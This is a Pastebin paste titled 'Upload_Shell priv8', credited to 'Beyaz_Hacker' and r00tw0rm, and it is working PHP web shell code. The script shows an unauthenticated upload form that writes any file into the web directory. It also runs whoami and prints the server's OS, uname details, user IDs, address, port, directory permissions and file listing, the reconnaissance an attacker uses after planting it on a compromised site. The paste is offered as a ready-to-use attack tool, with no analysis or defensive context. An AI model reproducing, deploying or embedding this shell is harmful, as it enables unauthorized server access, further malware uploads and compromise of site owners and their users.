lehieuit

Upload_Shell priv8

Apr 24th, 2012
362
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.11 KB | None | 0 0
  1.        <title>By Beyaz_Hacker_Upload_Shell</title>
  2.     <body bgcolor=black text="white" link="blue" vlink="blue">
  3.              <div align="center"><br /><br /> <font style="font-size: 70pt;" color="#000000" face="Webdings">!</font><img src="https://www.r00tw0rm.com/1337/images/misc/vbulletin4_logo.png" /> <font style="font-size: 70pt;" color="#000000" face="Webdings">!</font>   <br /><br />
  4.         <form enctype="multipart/form-data" action="<?php echo $_SERVER["PHP_SELF"]; ?>" method="post">
  5.                       <div align="center" STYLE="font-family: verdana; font-size: 13px;">
  6.             <input type="hidden" name="MAX_FILE_SIZE" value="2048000">
  7.           File :
  8.           <input name="userfile" type="file" />
  9.             <br />
  10.             <input name="submit" type="submit" value="Upload" />
  11.               </div>
  12.         </form>
  13.            <div align="center" STYLE="font-family: verdana; font-size: 10px;">
  14.              <?php
  15.           if (@is_uploaded_file($_FILES["userfile"]["tmp_name"])) {
  16. copy($_FILES["userfile"]["tmp_name"], "" . $_FILES["userfile"]["name"]);
  17. echo "<p>File uploaded successfully</p>";
  18. }
  19. ?>
  20.           </div></td>   </tr>                 </table>                </body>
  21.             <hr  width=751px color="black" height=115px> <br />
  22. <?php
  23.   closelog( );
  24.   $user = get_current_user( );
  25.   $login = posix_getuid( );
  26.   $euid = posix_geteuid( );
  27.   $ver = phpversion( );
  28.   $gid = posix_getgid( );
  29.   if ($chdir == "") $chdir = getcwd( );
  30.   if(!$whoami)$whoami=exec("whoami");
  31. ?>
  32. <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">
  33. <TR>
  34.   <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Operating System:</b> <?echo PHP_OS;?></DIV></TD>
  35.   </TR>
  36. <?php
  37.   $uname = posix_uname( );
  38.   while (list($info, $value) = each ($uname)) {
  39. ?>
  40.   <TR>
  41.     <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b><?= $info ?></b>: <?= $value ?></DIV></TD>
  42.   </TR>
  43.  
  44. <?php
  45.   }
  46. ?>
  47. <?php
  48.  if ($handle = opendir('.')) {
  49.    while (false !== ($file = readdir($handle)))
  50.       {
  51.           if ($file != "." && $file != "..")
  52.       {
  53.               $thelist .= '<a href="'.$file.'">'.$file.'</a><br>';
  54.           }
  55.        }
  56.   closedir($handle);
  57.   }
  58. ?>
  59.   <TR>
  60.   <TD ><DIV STYLE="font-family: verdana; font-size: 10px;"><b>User Info:</b> uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)</DIV></TD>
  61.   </TR>
  62.   <TR>
  63.   <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Current Path:</b> <?= $chdir ?></DIV></TD>
  64.   </TR>
  65.   <TR>
  66.   <TD ><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Permission Directory:</b> <? if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?></DIV></TD>
  67.   </TR>
  68.   <TR>
  69.   <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Services:</b> <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
  70.   </TR>
  71.  
  72.   </Tr><DIV STYLE="font-family: verdana; font-size:12px;  iti
  73.  
  74.  
  75.  
  76.  
  77.  
  78.  
  79.  
  80.  
  81.  
  82.  
  83.  
  84.  
  85.  
  86.  
  87.  
  88.  
  89.   <TR>
  90.   <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Adress:</b> <?= "$SERVER_ADDR $SERVER_NAME"; ?></DIV></TD>
  91.   </TR>
  92.   <TR>
  93.   <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Script Current User:</b> <?= $user ?></DIV></TD>
  94.   </TR>
  95.   <TR>
  96.   <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>PHP Version:</b> <?= $ver ?></DIV></TD>
  97.   </TR>
  98.     <TR>
  99.   <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Time:</b> <?echo date("d/m/Y/ h:i:s",time());?></DIV></TD>
  100.   </TR>
  101.   <TR>
  102.   <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Port:</b> <?echo $_SERVER['SERVER_PORT'];?></DIV></TD>
  103.   </TR>
  104.     <TR>
  105.   <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b><br />Files in Directory:<br /></b> <?=$thelist?></DIV></TD>
  106.   </TR>
  107.     <TR>
  108.   <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><i><br />**Windows Servers will error here**</i></DIV></TD>
  109.   </TR>
  110. </center>
  111. </TABLE>
  112. </b>
  113. </div></font></div>
  114. </font>        <br />
  115.        <hr  width=751px color="black" height=115px>
  116. <div >
  117.  
  118.                         <div align="center" STYLE="font-family: verdana; font-size: 10px;">Beyaz_Hacker https://www.r00tw0rm.com </div>
Advertisement
Add Comment
Please, Sign In to add comment